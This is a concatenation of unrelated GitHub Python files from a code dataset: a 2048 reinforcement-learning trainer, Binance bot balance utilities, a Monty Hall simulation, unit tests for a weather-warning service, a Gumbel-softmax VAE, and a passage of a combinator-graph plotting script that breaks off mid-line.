tf.nn.relu(conv2)\n \n #layer2\n conv11 = tf.nn.conv2d(relu1,conv1_layer2_weights,[1,1,1,1],padding='VALID') \n conv12 = tf.nn.conv2d(relu1,conv2_layer2_weights,[1,1,1,1],padding='VALID') \n\n conv21 = tf.nn.conv2d(relu2,conv1_layer2_weights,[1,1,1,1],padding='VALID') \n conv22 = tf.nn.conv2d(relu2,conv2_layer2_weights,[1,1,1,1],padding='VALID') \n\n #layer2 relu activation\n relu11 = tf.nn.relu(conv11)\n relu12 = tf.nn.relu(conv12)\n relu21 = tf.nn.relu(conv21)\n relu22 = tf.nn.relu(conv22)\n \n #get shapes of all activations\n shape1 = relu1.get_shape().as_list()\n shape2 = relu2.get_shape().as_list()\n \n shape11 = relu11.get_shape().as_list()\n shape12 = relu12.get_shape().as_list()\n shape21 = relu21.get_shape().as_list()\n shape22 = relu22.get_shape().as_list()\n\n #expansion\n hidden1 = tf.reshape(relu1,[shape1[0],shape1[1]*shape1[2]*shape1[3]])\n hidden2 = tf.reshape(relu2,[shape2[0],shape2[1]*shape2[2]*shape2[3]])\n \n hidden11 = tf.reshape(relu11,[shape11[0],shape11[1]*shape11[2]*shape11[3]])\n hidden12 = tf.reshape(relu12,[shape12[0],shape12[1]*shape12[2]*shape12[3]])\n hidden21 = tf.reshape(relu21,[shape21[0],shape21[1]*shape21[2]*shape21[3]])\n hidden22 = tf.reshape(relu22,[shape22[0],shape22[1]*shape22[2]*shape22[3]])\n\n #concatenation\n hidden = tf.concat([hidden1,hidden2,hidden11,hidden12,hidden21,hidden22],axis=1)\n\n #full connected layers\n hidden = tf.matmul(hidden,fc_layer1_weights) + fc_layer1_biases\n hidden = tf.nn.relu(hidden)\n\n #output layer\n output = tf.matmul(hidden,fc_layer2_weights) + fc_layer2_biases\n \n #return output\n return output\n\n#for single example\nsingle_output = model(single_dataset)\n\n#for batch data\nlogits = model(tf_batch_dataset)\n\n#loss\nloss = tf.square(tf.subtract(tf_batch_labels,logits))\nloss = tf.reduce_sum(loss,axis=1,keep_dims=True)\nloss = tf.reduce_mean(loss)/2.0\n\n#optimizer\nglobal_step = tf.Variable(0) # count the number of steps taken.\nlearning_rate = tf.train.exponential_decay(float(start_learning_rate), global_step, 1000, 0.90, staircase=True)\noptimizer = tf.train.RMSPropOptimizer(learning_rate).minimize(loss, global_step=global_step)\n\n#loss\nJ = []\n\n#scores\nscores = []\n\n#to store final parameters\nfinal_parameters = {}\n\n#number of episodes\nM = 20000\n\nwith tf.Session() as session:\n tf.global_variables_initializer().run()\n print(\"Initialized\")\n\n #for episode with max score\n maximum = -1\n episode = -1\n \n #total_iters \n total_iters = 1\n \n #number of back props\n back=0\n \n for ep in range(M):\n global board\n board = new_game(4)\n add_two(board)\n add_two(board)\n \n #whether episode finished or not\n finish = 'not over'\n \n #total_score of this episode\n total_score = 0\n \n #iters per episode\n local_iters = 1\n \n while(finish=='not over'):\n prev_board = deepcopy(board)\n \n #get the required move for this state\n state = deepcopy(board)\n state = change_values(state)\n state = np.array(state,dtype = np.float32).reshape(1,4,4,16)\n feed_dict = {single_dataset:state}\n control_scores = session.run(single_output,feed_dict=feed_dict)\n \n #find the move with max Q value\n control_buttons = np.flip(np.argsort(control_scores),axis=1)\n \n #copy the Q-values as labels\n labels = deepcopy(control_scores[0])\n \n #generate random number for epsilon greedy approach\n num = random.uniform(0,1)\n \n #store prev max\n prev_max = np.max(prev_board)\n \n #num is less epsilon generate random move\n if(num<epsilon):\n #find legal moves\n legal_moves = list()\n for i in range(4):\n temp_board = deepcopy(prev_board)\n temp_board,_,_ = controls[i](temp_board)\n if(np.array_equal(temp_board,prev_board)):\n continue\n else:\n legal_moves.append(i)\n if(len(legal_moves)==0):\n finish = 'lose'\n continue\n \n #generate random move.\n con = random.sample(legal_moves,1)[0]\n \n #apply the move\n temp_state = deepcopy(prev_board)\n temp_state,_,score = controls[con](temp_state)\n total_score += score\n finish = game_state(temp_state)\n \n #get number of merges\n empty1 = findemptyCell(prev_board)\n empty2 = findemptyCell(temp_state)\n \n if(finish=='not over'):\n temp_state = add_two(temp_state)\n\n board = deepcopy(temp_state)\n\n #get next max after applying the move\n next_max = np.max(temp_state)\n \n #reward math.log(next_max,2)*0.1 if next_max is higher than prev max\n labels[con] = (math.log(next_max,2))*0.1\n \n if(next_max==prev_max):\n labels[con] = 0\n \n #reward is also the number of merges\n labels[con] += (empty2-empty1)\n \n #get the next state max Q-value\n temp_state = change_values(temp_state)\n temp_state = np.array(temp_state,dtype = np.float32).reshape(1,4,4,16)\n feed_dict = {single_dataset:temp_state}\n temp_scores = session.run(single_output,feed_dict=feed_dict)\n \n max_qvalue = np.max(temp_scores)\n \n #final labels add gamma*max_qvalue\n labels[con] = (labels[con] + gamma*max_qvalue)\n \n #generate the the max predicted move\n else:\n for con in control_buttons[0]:\n prev_state = deepcopy(prev_board)\n \n #apply the LEGAl Move with max q_value\n temp_state,_,score = controls[con](prev_state)\n \n #if illegal move label = 0\n if(np.array_equal(prev_board,temp_state)):\n labels[con] = 0\n continue\n \n #get number of merges\n empty1 = findemptyCell(prev_board)\n empty2 = findemptyCell(temp_state)\n\n \n temp_state = add_two(temp_state)\n board = deepcopy(temp_state)\n total_score += score\n\n next_max = np.max(temp_state)\n \n #reward\n labels[con] = (math.log(next_max,2))*0.1\n if(next_max==prev_max):\n labels[con] = 0\n \n labels[con] += (empty2-empty1)\n\n #get next max qvalue\n temp_state = change_values(temp_state)\n temp_state = np.array(temp_state,dtype = np.float32).reshape(1,4,4,16)\n feed_dict = {single_dataset:temp_state}\n temp_scores = session.run(single_output,feed_dict=feed_dict)\n\n max_qvalue = np.max(temp_scores)\n\n #final labels\n labels[con] = (labels[con] + gamma*max_qvalue)\n break\n \n if(np.array_equal(prev_board,board)):\n finish = 'lose'\n \n #decrease the epsilon value\n if((ep>10000) or (epsilon>0.1 and total_iters%2500==0)):\n epsilon = epsilon/1.005\n \n \n #change the matrix values and store them in memory\n prev_state = deepcopy(prev_board)\n prev_state = change_values(prev_state)\n prev_state = np.array(prev_state,dtype=np.float32).reshape(1,4,4,16)\n replay_labels.append(labels)\n replay_memory.append(prev_state)\n \n \n #back-propagation\n if(len(replay_memory)>=mem_capacity):\n back_loss = 0\n batch_num = 0\n z = list(zip(replay_memory,replay_labels))\n np.random.shuffle(z)\n np.random.shuffle(z)\n replay_memory,replay_labels = zip(*z)\n \n for i in range(0,len(replay_memory),batch_size):\n if(i + batch_size>len(replay_memory)):\n break\n \n batch_data = deepcopy(replay_memory[i:i+batch_size])\n batch_labels = deepcopy(replay_labels[i:i+batch_size])\n \n batch_data = np.array(batch_data,dtype=np.float32).reshape(batch_size,4,4,16)\n batch_labels = np.array(batch_labels,dtype=np.float32).reshape(batch_size,output_units)\n \n feed_dict = {tf_batch_dataset: batch_data, tf_batch_labels: batch_labels}\n _,l = session.run([optimizer,loss],feed_dict=feed_dict)\n back_loss += l \n \n batch_num +=1\n back_loss /= batch_num\n J.append(back_loss)\n \n #store the parameters in a dictionary\n final_parameters['conv1_layer1_weights'] = session.run(conv1_layer1_weights)\n final_parameters['conv1_layer2_weights'] = session.run(conv1_layer2_weights)\n final_parameters['conv2_layer1_weights'] = session.run(conv2_layer1_weights)\n final_parameters['conv2_layer2_weights'] = session.run(conv2_layer2_weights)\n final_parameters['fc_layer1_weights'] = session.run(fc_layer1_weights)\n final_parameters['fc_layer2_weights'] = session.run(fc_layer2_weights)\n final_parameters['fc_layer1_biases'] = session.run(fc_layer1_biases)\n final_parameters['fc_layer2_biases'] = session.run(fc_layer2_biases)\n \n #number of back-props\n back+=1\n \n #make new memory \n replay_memory = list()\n replay_labels = list()\n \n \n \n local_iters += 1\n total_iters += 1\n \n scores.append(total_score)\n \n if((ep+1)%1000==0):\n print(\"Maximum Score : {} ,Episode : {}\".format(maximum,episode)) \n print(\"Loss : {}\".format(J[len(J)-1]))\n print(ep)\n \n if(maximum<total_score):\n maximum = total_score\n episode = ep\n print(\"Maximum Score : {} ,Episode : {}\".format(maximum,episode))\n\npath = r'trained2'\nweights = ['conv1_layer1_weights','conv1_layer2_weights','conv2_layer1_weights','conv2_layer2_weights','fc_layer1_weights','fc_layer1_biases','fc_layer2_weights','fc_layer2_biases']\nfor w in weights:\n flatten = final_parameters[w].reshape(-1,1)\n file = open(path + '\\\\' + w +'.csv','w')\n file.write('Sno,Weight\\n')\n for i in range(flatten.shape[0]):\n file.write(str(i) +',' +str(flatten[i][0])+'\\n') \n file.close()\n print(w + \" written!\")\n\ndef save(path, name, lis, mode):\n file = open(path + name + mode,'w+')\n if mode == '.txt': \n for i in range(len(lis)):\n file.write(str(lis[i])+\"\\n\") \n file.close()\n elif mode == '.csv':\n file.write('Episode,Weight\\n') ###\n for i in range(lis.shape[0]):\n file.write(str(i) + ',' + str(lis[i][0])+'\\n') \n file.close()\n print(path + name + mode + \" is written\")\n\nsave(path='./trained2', name='/scores', lis=scores, mode='.txt')\nsave(path='./trained2', name='/losses', lis=J, mode='.txt')","repo_name":"rickyzhangca/cisc474-2048","sub_path":"playgrounds/train2.py","file_name":"train2.py","file_ext":"py","file_size_in_byte":18870,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"14639577664","text":"import config\nimport math\nimport time\nfrom decimal import Decimal\nclient = config.bclient\n\nclass Balance:\n\n\t@staticmethod\n\tdef floatPrecision(f, n):\n\t\tn = int(math.log10(1 / float(n)))\n\t\tf = math.floor(float(f) * 10 ** n) / 10 ** n\n\t\tf = \"{:0.0{}f}\".format(float(f), n)\n\t\treturn str(int(f)) if int(n) == 0 else f\n\n\n\t@staticmethod\n\tdef bothbalances(asset1, asset2):\n\t\tasset1bal = 0\n\t\tasset2bal = 0\n\t\t# Get Account balances for pair\n\t\tinfo = client.get_account()\n\t\t# print(info)\n\t\tfor i in info['balances']:\n\t\t\tif i['asset'] == asset1:\n\t\t\t\tasset1bal = float(i['free'])\n\t\t\tif i['asset'] == asset2:\n\t\t\t\tasset2bal = float(i['free'])\n\t\treturn {'1': float(asset1bal), '2': float(asset2bal)}\n\n\t@staticmethod\n\t# Get asset balance\n\tdef assetbalance(asset):\n\t\tbalance = client.get_asset_balance(asset)\n\t\tbalance = float(balance['free'])\n\t\treturn balance\n\n\t@staticmethod\n\tdef format(price):\n\t\tif float(price) < float(1):\n\t\t\treturn \"{:.8f}\".format(price) # using 8 digits\n\t\telse:\n\t\t\treturn \"{:.2f}\".format(price) # or 2 digits\n\n\t@staticmethod\n\tdef minNotional(pairinfo):\n\t\tfor filt in pairinfo['filters']:\n\t\t\tif filt['filterType'] == 'MIN_NOTIONAL':\n\t\t\t\t# print(filt['stepSize'])\n\t\t\t\tnotional = filt['minNotional']\n\t\t\t\treturn float(notional)\n\n\t@staticmethod\n\tdef stepsize(pairinfo):\n\t\tfor filt in pairinfo['filters']:\n\t\t\tif filt['filterType'] == 'LOT_SIZE':\n\t\t\t\t# print(filt['stepSize'])\n\t\t\t\tstep = filt['stepSize']\n\t\t\t\tstep = Decimal(step).normalize()\n\t\t\t\t#print(type(step))\n\t\t\t\treturn float(step)\n\n\t@staticmethod\n\tdef ticksize(pairinfo):\n\t\tfor filt in pairinfo['filters']:\n\t\t\tif filt['filterType'] == 'PRICE_FILTER':\n\t\t\t\t# print(filt['tickSize'])\n\t\t\t\tticks = filt['tickSize']\n\t\t\t\treturn float(ticks)\n\n\t@staticmethod\n\tdef profit_calculator(lastprice, newprice):\n\t\tprofit1 = float(newprice) - float(lastprice)\n\t\treturn float(Balance.format(profit1))\n\n\t@staticmethod\n\tdef pricerange(firstprice, highprice, currentMA):\n\t\t#pcnt = 80\n\t\tif abs(highprice - firstprice) <= 50:\n\t\t\tpcnt = 60\n\t\t# print ('Percent is:',pcnt)\n\t\telif 50 < abs(highprice - firstprice) <= 100:\n\t\t\tpcnt = 65\n\t\t# print ('Percent is:',pcnt)\n\t\telif 100 < abs(highprice - firstprice) <= 150:\n\t\t\tpcnt = 70\n\t\telif abs(highprice - firstprice) > 150:\n\t\t\tpcnt = 75\n\t\tif currentMA == 'uptrend':\n\t\t\t# print('-=-=-=-=-=-=-Price range uptrend method-=-=-=-=-=-=-=')\n\t\t\ttotal = float(highprice) - float(firstprice)\n\t\t\t# print('Total difference between peak:',peakprice,' and start',startprice,' is:', total)\n\t\t\tshifttime = (total * pcnt) / 100\n\t\t\t# print('75 Percent is', shifttime)\n\t\t\tfinal = float(firstprice) + float(shifttime)\n\t\t\t# print('Price to make order with is:', final)\n\t\t\treturn final\n\t\telif currentMA == 'downtrend':\n\t\t\t# print('-=-=-=-=-=-=-Price range downtrend method-=-=-=-=-=-=-=')\n\t\t\ttotal = float(firstprice) - float(highprice)\n\t\t\t# print('Total difference between start',startprice,'and peak:',peakprice,' is:', total)\n\t\t\tshifttime = (total * pcnt) / 100\n\t\t\t# print('75 Percent is', shifttime)\n\t\t\tfinal = float(firstprice) - float(shifttime)\n\t\t\t# print('Price to make order with is:', final)\n\t\t\treturn final\n\n\t@staticmethod\n\tdef us_value_in_btc(balance, pairprice):\n\t\tbtc = balance / pairprice\n\t\t#print('Balance is btc is', Balance.format(btc))\n\t\tmaxbtc = btc - ((btc * 0.2) / 100)\n\t\tfinalbtc = maxbtc - ((maxbtc * 0.1) / 100)\n\n\t\t#print('Total after fees is', Balance.format(finalbtc))\n\t\treturn float(Balance.format(finalbtc))\n\n\t@staticmethod\n\tdef btc_value_after_fees(balance):\n\t\tbtc = balance\n\t\t#print('Balance is btc is', Balance.format(btc))\n\t\tmaxbtc = btc - ((btc * 0.2) / 100)\n\t\tfinalbtc = maxbtc - ((maxbtc * 0.1) / 100)\n\t\t#print('Total after fees is', Balance.format(finalbtc))\n\t\treturn float(Balance.format(finalbtc))","repo_name":"Technorocker/BinanceBot","sub_path":"Balance.py","file_name":"Balance.py","file_ext":"py","file_size_in_byte":3690,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"38018838239","text":"from random import randint\nfrom matplotlib import pyplot as plt\n\nclass MontyHall:\n\n def __init__(self):\n # this method is executed every time an instance of this class is created (see the if __name__ == '__main__' block\n # at the bottom of this code\n\n self.Nexperiments = 1000 # how many times to repeat experiment\n\n\n\n # set up some axes for plotting on later\n fig, (self.axs1, self.axs2) = plt.subplots(ncols=2, nrows=1, figsize=(10, 5))\n\n # run experiments with and without switching guess and plot the results:\n self.SwitchGuess = True\n self.RunExperiment()\n self.PlotResults()\n self.SwitchGuess = False\n self.RunExperiment()\n self.PlotResults()\n plt.show()\n\n def SetUpDoors(self):\n \"\"\"\n Set up three doors, one of which randomly has a car behind it and the other two have camels\n :return:\n \"\"\"\n # start by putting a camel behind every door:\n self.Doors = ['camel', 'camel', 'camel']\n # now randomy overwrite one of these\n door_ind = randint(0, 2) # random number between 0 and 2\n self.Doors[door_ind] = 'car'\n\n def RunExperiment(self):\n \"\"\"\n Run through the problem self.Nexperiments times, keeping track of whether the contestant got a car or a\n camel each time. The parameter to switch guesses (or not) is set in the __init__ function.\n :return:\n \"\"\"\n # initialise variables to keep track of what happens\n self.GotCar = 0\n self.GotCamel = 0\n\n for i in range(self.Nexperiments):\n self.SetUpDoors() # each time set the doors up differently\n random_guess_ind = randint(0, 2)\n\n # now we need to generate the ind for the door the host will open.\n # which must 1) not be the same as random_guess_ind, and 2) not have a house behind it\n # Im just going to brute force this by making guesses until I get a valid one:\n while True:\n host_opens_door_ind = randint(0, 2)\n if (not host_opens_door_ind == random_guess_ind) and self.Doors[host_opens_door_ind] == 'camel':\n # then we have found a valid door to open, and we can quit this loop\n break\n\n # now the player is presented with a choice: would they like to switch their guess or not?\n if self.SwitchGuess:\n # we will switch our guess to the remaining door.\n # generate the last indice (the one no one has picked yet)\n switched_guess_ind = [a for a in [0,1,2] if not a in [random_guess_ind,host_opens_door_ind]]\n switched_guess_ind = switched_guess_ind[0]\n Result = self.Doors[switched_guess_ind]\n else:\n Result = self.Doors[random_guess_ind]\n\n # keep track of the results for later analysis\n if Result == 'camel':\n self.GotCamel += 1\n else: # they got a car\n self.GotCar += 1\n\n # convert number of times they got something percentages:\n self.GotCar = self.GotCar * 100 / self.Nexperiments\n self.GotCamel = self.GotCamel * 100 / self.Nexperiments\n self.CheckResults()\n\n def CheckResults(self):\n \"\"\"\n They should run up 100\n :return:\n \"\"\"\n assert self.GotCar + self.GotCamel == 100\n\n def PlotResults(self):\n \"\"\"\n Create a simple bar plot of the results\n :return:\n \"\"\"\n\n if self.SwitchGuess == True:\n self.axs1.bar(['Got car', 'got camel'],[self.GotCar,self.GotCamel])\n self.axs1.set_ylabel(\"%\")\n self.axs1.set_title('Always switch guess')\n else:\n self.axs2.bar([0, 1], [self.GotCar, self.GotCamel])\n self.axs2.bar(['Got car', 'got camel'],[self.GotCar,self.GotCamel])\n self.axs2.set_ylabel(\"%\")\n self.axs2.set_title('Never switch guess')\n\nif __name__ == '__main__':\n MontyHall()\n\n\n\n\n\n\n\n","repo_name":"bwheelz36/MontyHallProblem","sub_path":"MontyHall.py","file_name":"MontyHall.py","file_ext":"py","file_size_in_byte":4074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26841654291","text":"import unittest\nimport pymongo\nimport responses\nfrom unittest.mock import patch\nfrom graphqlAPI.modules.Service import WetterdienstService\n\n\nclass TestWetterdienstService(unittest.TestCase):\n \"\"\"\n Eine Klasse die den Wetterdienst-Service testet.\n\n Methoden:\n setUpClass()\n tearDownClass()\n test_get_json_data_returns_json()\n test_find_nearest_warning_calls_find_documents()\n test_find_nearest_warning_returns_limited_list()\n test_find_warning_calls_find_documents()\n test_insert_json_data_into_db_calls_create_index()\n test_insert_json_data_into_db_calls_insert_many()\n test_update_one_calls_update_one_from_persistence()\n test_create_index_calls_create_index_from_persistence()\n test_create_index_calls_create_index_from_persistence()\n test_create_new_geo_index_calls_find_documents_from_persistence()\n test_create_new_geo_index_calls_create_index_from_persistence()\n\n \"\"\"\n\n serv = None\n\n @classmethod\n def setUpClass(cls):\n \"\"\"Legt die Konfigurationen (z.B Instanzen oder Variablen die bei jedem Test benötigt werden) vor einem Testdurchlauf fest\"\"\"\n cls.serv = WetterdienstService.instance()\n\n @classmethod\n def tearDownClass(cls):\n \"\"\"Legt die Konfigurationen nach einem Testdurchlauf fest\"\"\"\n pass\n\n @responses.activate\n def test_get_json_data_returns_json(self):\n \"\"\"\n Testet, ob die get_json_data() ein JSON-Objekt zurückgibt.\n Wirft einen AssertionError, wenn der Test nicht bestanden ist.\n\n \"\"\"\n responses.get(url = \"http://url.com\",\n json = {\"key\":\"value\"},\n status = 200)\n\n self.assertEqual(WetterdienstService.instance().get_json_data(\"http://url.com\"), {\"key\":\"value\"})\n\n @patch('Persistence.Wetterdienst_Persistence.WetterdienstPersistence.find_documents')\n def test_find_nearest_warning_calls_find_documents(self,mock_find_documents):\n \"\"\"\n Testet, ob die find_nearest_warning() die find_documents() aufruft.\n Wirft einen AssertionError, wenn der Test nicht bestanden ist.\n\n :param mock_find_documents: Mockt die find_documents\n \"\"\"\n lon = 105\n lat = 93\n self.serv.find_nearest_warning(\"collection\", lon, lat)\n mock_find_documents.assert_called_with(\"collection\",\n {\"location\": {\"$near\": {\"$geometry\": {\"type\": \"Point\", \"coordinates\": [float(lon), float(lat)]}}}}\n )\n\n @patch('Persistence.Wetterdienst_Persistence.WetterdienstPersistence.find_documents')\n def test_find_nearest_warning_returns_limited_list(self, mock_find_documents):\n \"\"\"\n Testet, ob die find_nearest_warning() eine dem Argument entsprechende limitierte Liste ausgibt.\n Wirft einen AssertionError, wenn der Test nicht bestanden ist.\n\n :param mock_find_documents: Mockt die find_documents() der WetterdienstPersistence-Klasse\n \"\"\"\n lon = 105\n lat = 93\n limit = 2\n mock_find_documents.return_value = [\"element1\",\"element2\",\"element3\",\"element4\",\"element5\"]\n self.assertEqual(len(self.serv.find_nearest_warning(\"collection\", lon, lat, limit)),limit)\n\n @patch('Persistence.Wetterdienst_Persistence.WetterdienstPersistence.find_documents')\n def test_find_warning_calls_find_documents(self, mock_find_documents):\n \"\"\"\n Testet, ob die find_warning_calls() die find_documents() der WetterdienstPersistence-Klasse aufruft.\n Wirft einen AssertionError, wenn der Test nicht bestanden ist.\n\n :param mock_find_documents: Mockt die find_documents() der WetterdienstPersistence-Klasse\n \"\"\"\n self.serv.find_warning(\"collection\",{ \"field_name\": \"field_value\"})\n mock_find_documents.assert_called_with(\"collection\", {\"field_name\": \"field_value\"})\n\n @patch('Persistence.Wetterdienst_Persistence.WetterdienstPersistence.create_index')\n def test_insert_json_data_into_db_calls_create_index(self, mock_create_index):\n \"\"\"\n Testet, ob die insert_json_data_into_db() die create_index() der WetterdienstPersistence-Klasse aufruft.\n Wirft einen AssertionError, wenn der Test nicht bestanden ist.\n\n :param mock_create_index: Mockt die create_index() der WetterdienstPersistence-Klasse\n \"\"\"\n collection_name = 'test_collection'\n json_data = [{'id': 1, 'name': 'test1'}, {'id': 2, 'name': 'test2'}]\n dedupe_key = 'id'\n\n self.serv.insert_json_data_into_db(collection_name, json_data, dedupe_key)\n mock_create_index.assert_called_with(collection_name,[(dedupe_key, pymongo.ASCENDING)])\n\n @patch('Persistence.Wetterdienst_Persistence.WetterdienstPersistence.insert_many')\n def test_insert_json_data_into_db_calls_insert_many(self, mock_insert_many):\n \"\"\"\n Testet, ob die insert_json_data_into_db() die insert_many() der WetterdienstPersistence-Klasse aufruft.\n Wirft einen AssertionError, wenn der Test nicht bestanden ist.\n\n :param mock_insert_many: Mockt die insert_many() der WetterdienstPersistence-Klasse\n \"\"\"\n collection_name = 'test2_collection'\n json_data = [{'id': 1, 'name': 'test1'}, {'id': 2, 'name': 'test2'}]\n dedupe_key = 'id'\n\n self.serv.insert_json_data_into_db(collection_name, json_data, dedupe_key)\n mock_insert_many.assert_called_with(collection_name, json_data)\n\n @patch('Persistence.Wetterdienst_Persistence.WetterdienstPersistence.update_one')\n def test_update_one_calls_update_one_from_persistence(self, mock_update_one):\n \"\"\"\n Testet, ob die update_one() die update_one() der WetterdienstPersistence-Klasse aufruft.\n Wirft einen AssertionError, wenn der Test nicht bestanden ist.\n\n :param mock_update_one: Mockt die update_one() der WetterdienstPersistence-Klasse\n \"\"\"\n collection_name = \"collection\"\n document = \"document\"\n query = {\"key\": \"value\"}\n\n self.serv.update_one(collection_name, document, query)\n mock_update_one.assert_called_with(collection_name, document, query)\n\n @patch('Persistence.Wetterdienst_Persistence.WetterdienstPersistence.create_index')\n def test_create_index_calls_create_index_from_persistence(self,mock_create_index):\n \"\"\"\n Testet, ob die create_index() die create_index() der WetterdienstPersistence-Klasse aufruft.\n Wirft einen AssertionError, wenn der Test nicht bestanden ist.\n\n :param mock_create_index: Mockt die create_index() der WetterdienstPersistence-Klasse\n \"\"\"\n collection_name = \"collection\"\n geo_field_name = \"field_name\"\n index_specifier = pymongo.ASCENDING\n\n self.serv.create_index(collection_name, geo_field_name, index_specifier)\n mock_create_index.assert_called_with(collection_name, [(geo_field_name, index_specifier)])\n\n @patch('Persistence.Wetterdienst_Persistence.WetterdienstPersistence.find_documents')\n def test_create_new_geo_field_calls_find_documents_from_persistence(self,mock_find_documents):\n \"\"\"\n Testet, ob die create_new_geo_index() die find_documents() der WetterdienstPersistence-Klasse aufruft.\n Wirft einen AssertionError, wenn der Test nicht bestanden ist.\n\n :param mock_find_documents: Mockt die find_documents() der WetterdienstPersistence-Klasse\n \"\"\"\n collection_name = \"collection\"\n geo_field_name = \"field_name\"\n index_specifier = pymongo.ASCENDING\n query = {geo_field_name: {\"$exists\": bool()}}\n\n self.serv.create_new_geoindex(collection_name, geo_field_name, index_specifier)\n mock_find_documents.assert_called_with(collection_name, query)\n\n\n\n\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"0rca5/DeutscherWetterDienst_API","sub_path":"graphqlAPI/tests/Test_Service.py","file_name":"Test_Service.py","file_ext":"py","file_size_in_byte":7763,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42370857431","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nBATCH_SIZE = 100\nEPOCHS = 50\nCUDA = False\nTEMP = 1.0\nSEED = 1\nLOG_INTERVAL = 10\nHARD = True\nINPUT_SIZE = 8\nlatent_dim = 10\ncategorical_dim = 10 # one-of-K vector\nclass VAE_gumbel_enc(nn.Module):\n def __init__(self):\n super().__init__()\n self.enc_linear_1 = nn.Linear(INPUT_SIZE, INPUT_SIZE * 4).to('cpu')\n self.enc_linear_2 = nn.Linear(INPUT_SIZE * 4, INPUT_SIZE * 16).to('cpu')\n self.enc_linear_3 = nn.Linear(INPUT_SIZE * 16, INPUT_SIZE * 16).to('cpu')\n self.enc_linear_4 = nn.Linear(INPUT_SIZE * 16, latent_dim * categorical_dim).to('cpu')\n\n def forward(self, x, temp, hard):\n code = (self.enc_linear_1(x))\n code = F.selu(self.enc_linear_2(code))\n code = F.selu(self.enc_linear_3(code))\n code = F.selu(self.enc_linear_4(code))\n #print(code.size())\n q_y = code.view(code.size(), latent_dim, categorical_dim).to('cpu')\n z = gumbel_softmax(code, temp, hard).to('cpu')\n\n return code, q_y, z\n\nclass VAE_gumbel_dec(nn.Module):\n def __init__(self):\n super().__init__()\n self.dec_linear_1 = nn.Linear(latent_dim * categorical_dim, INPUT_SIZE * 16).to('cpu')\n self.dec_linear_2 = nn.Linear(INPUT_SIZE * 16, INPUT_SIZE * 8).to('cpu')\n self.dec_linear_3 = nn.Linear(INPUT_SIZE * 8, INPUT_SIZE * 4).to('cpu')\n self.dec_linear_4 = nn.Linear(INPUT_SIZE * 4, INPUT_SIZE).to('cpu')\n self.relu = nn.ReLU()\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, z):\n out = (self.dec_linear_1(z))\n out = F.selu(self.dec_linear_2(out))\n out = F.selu(self.dec_linear_3(out))\n out = (self.dec_linear_4(out))\n\n return (out)\n\n\nclass VAE_gumbel(nn.Module):\n def __init__(self, temp, encoder, decoder):\n super(VAE_gumbel, self).__init__()\n self.encoder = encoder\n self.decoder = decoder\n\n def forward(self, x, temp, hard, epoch, n_epochs):\n q,q_y,z = self.encoder(x.view(-1, INPUT_SIZE), temp, hard)\n\n\n return self.decoder(z), F.softmax(q_y, dim=-1).reshape(*q.size()),z\n\n\n\ndef sample_gumbel(shape, eps=1e-20):\n U = torch.rand(shape)\n if CUDA:\n U = U.cuda()\n return -torch.log(-torch.log(U + eps) + eps)\n\n\ndef gumbel_softmax_sample(logits, temperature):\n y = logits.to('cpu') + sample_gumbel(logits.size()).to('cpu')\n return F.softmax(y / temperature, dim=-1)\n\n\ndef gumbel_softmax(logits, temperature, hard=False):\n \"\"\"\n ST-gumple-softmax\n input: [*, n_class]\n return: flatten --> [*, n_class] an one-hot vector\n \"\"\"\n y = gumbel_softmax_sample(logits, temperature)\n\n if not hard:\n return y.view(-1, latent_dim * categorical_dim)\n\n shape = y.size()\n _, ind = y.max(dim=-1)\n y_hard = torch.zeros_like(y).view(-1, shape[-1])\n y_hard.scatter_(1, ind.view(-1, 1), 1)\n y_hard = y_hard.view(*shape)\n # Set gradients w.r.t. y_hard gradients w.r.t. y\n y_hard = (y_hard - y).detach() + y\n return y_hard.view(-1, latent_dim * categorical_dim)\n\n","repo_name":"Elena-Umili/RL-Planning","sub_path":"codice_aggiornato/old/Gumbel_AE.py","file_name":"Gumbel_AE.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32213369094","text":"import graphviz as gv\n\nEQ = 0 # EQUALITY\nID = 1 # IDENTITY\nFK = 2 # FUNCTION + K\nBOTH = 3\n\ne_combinators = { \n 'E' : [('Ê', ID)],\n 'Φ₁' : [('Ê', EQ)],\n 'ε' : [('Ê', ID)],\n}\n\nd2_combinators = { \n 'D₂' : [('Ê', FK)],\n 'D' : [('D₂', ID), ('E', FK)], #'E'],\n '∆' : [('D₂', ID), ('ε', FK)],\n 'Σ' : [('∆', EQ), ('Φ', ID), ], # 'ε'],\n 'Π' : [('Ψ', EQ), ('Φ', EQ)],\n 'Φ' : [('D₂', EQ), ('Φ₁', FK)],\n 'S' : [('Φ', ID), ('D', EQ),],\n 'Ψ' : [('D₂', EQ)],\n 'W' : [('S',ID), ('Σ', ID), ('Π', ID)],\n # 'W' : [('Ψ', BOTH), ('S',ID),]\n}\n\nb_combinators = {\n 'B₁' : [('D', FK), ('∆', FK)],\n 'B' : [('B₁', FK), ('B₀.₅', FK)],\n 'B₀.₅' : [('B₁', EQ)],\n}\n\nsolo_combinators = {\n 'I' : [],\n 'K' : [],\n 'C' : [],\n}\n\nd2bqn_combinators = { \n '⟜₂' : [('⊸⟜', ID)], #'E'],\n '⊸₂' : [('⊸⟜', ID)], # 'ε'],\n '⊸₁' : [('⊸₂', EQ), ('3T', ID)], # 'ε'],\n ' ' : [('○', EQ),('3T', EQ)],\n '3T' : [('⊸⟜', EQ)], #'E\\''],\n '⟜₁' : [('3T', ID), ('⟜₂', EQ)],\n '○' : [('⊸⟜', EQ)],\n '˜' : [('⟜₁',ID) , ('⊸₁', ID), (' ', ID)], # 'Σ'\n}\n\ncombinators = {**d2_combinators, **e_combinators, **b_combinators}# , **solo_combinators} # , **d2bqn_combinators}\n\ndot = gv.Digraph('combinator-graph', format = 'png')\ndot.attr(size='7,7!')\n\nfor combinator in combinators.keys():\n if '⊸' in combinator or '⟜' in combinator:\n l = combinator.replace('₁', '')\n l = l.replace('₂', '')\n else:\n l = combinator\n if combinator in ['S', 'W', 'Φ', 'Σ', 